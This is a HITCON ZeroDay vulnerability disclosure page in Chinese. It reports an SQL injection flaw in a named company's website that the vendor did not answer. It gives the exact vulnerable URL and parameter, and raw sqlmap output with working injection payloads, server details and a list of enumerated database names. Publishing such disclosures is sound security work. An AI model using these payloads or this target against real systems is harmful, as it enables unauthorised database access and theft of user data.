智融集團網站存在SQL-Injection漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2019-01153
  •  發信 Vendor: 中華智融股份有限公司
  • Title: 智融集團網站存在SQL-Injection漏洞
  • Introduction: 網站存在SQL-Injection漏洞

處理狀態

目前狀態

公開
Last Update : 2019/12/04
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2019/10/04 23:08:56 : 新提交 (由 傳說中的廢人 更新此狀態)
  • 2019/10/06 22:33:06 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/10/07 11:46:55 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/10/07 11:47:44 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/12/04 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2019-01153
  • 通報者:elijiachen (傳說中的廢人)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.idsoftcapital.com.tw/portal/idsc/service/service03/service03_1.aspx?sno=53

敘述

GET parameter 'sno' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 68 HTTP(s) requests:

Parameter: sno (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sno=53 AND 8583=8583

Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: sno=53 AND 6293=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (6293=6293) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(122)+CHAR(113)))

Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: sno=(SELECT CHAR(113)+CHAR(118)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (9690=9690) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(122)+CHAR(113))

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: sno=53;WAITFOR DELAY '0:0:5'--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: sno=53 WAITFOR DELAY '0:0:5'--

Type: UNION query
Title: Generic UNION query (NULL) - 21 columns
Payload: sno=53 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(118)+CHAR(107)+CHAR(113)+CHAR(72)+CHAR(88)+CHAR(119)+CHAR(74)+CHAR(109)+CHAR(108)+CHAR(111)+CHAR(69)+CHAR(83)+CHAR(107)+CHAR(85)+CHAR(79)+CHAR(73)+CHAR(86)+CHAR(118)+CHAR(72)+CHAR(85)+CHAR(82)+CHAR(111)+CHAR(114)+CHAR(101)+CHAR(100)+CHAR(101)+CHAR(80)+CHAR(76)+CHAR(76)+CHAR(76)+CHAR(89)+CHAR(119)+CHAR(98)+CHAR(121)+CHAR(110)+CHAR(116)+CHAR(116)+CHAR(104)+CHAR(111)+CHAR(71)+CHAR(69)+CHAR(70)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(122)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

[INFO] testing Microsoft SQL Server
[INFO] confirming Microsoft SQL Server
[INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[INFO] fetching database names
[INFO] the SQL query used returns 16 entries
[INFO] retrieved: AcerFoundation
[INFO] retrieved: AspireAcademy
[INFO] retrieved: dbiDSC
[INFO] retrieved: dbiDTV_China
[INFO] retrieved: dbiDTV_China
[INFO] retrieved: dbStanShares_v2
[INFO] retrieved: IC
[INFO] retrieved: master
[INFO] retrieved: model
[INFO] retrieved: msdb
[INFO] retrieved: Northwind
[INFO] retrieved: pubs
[INFO] retrieved: Sharepoint_Content
[INFO] retrieved: Sharepoint_Content
[INFO] retrieved: tempdb
[INFO] retrieved: WangDaOmp
available databases [14]:
[] AcerFoundation
[
] AspireAcademy
[] dbiDSC
[
] dbiDTV_China
[] dbStanShares_v2
[
] IC
[] master
[
] model
[] msdb
[
] Northwind
[] pubs
[
] Sharepoint_Content
[] tempdb
[
] WangDaOmp

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;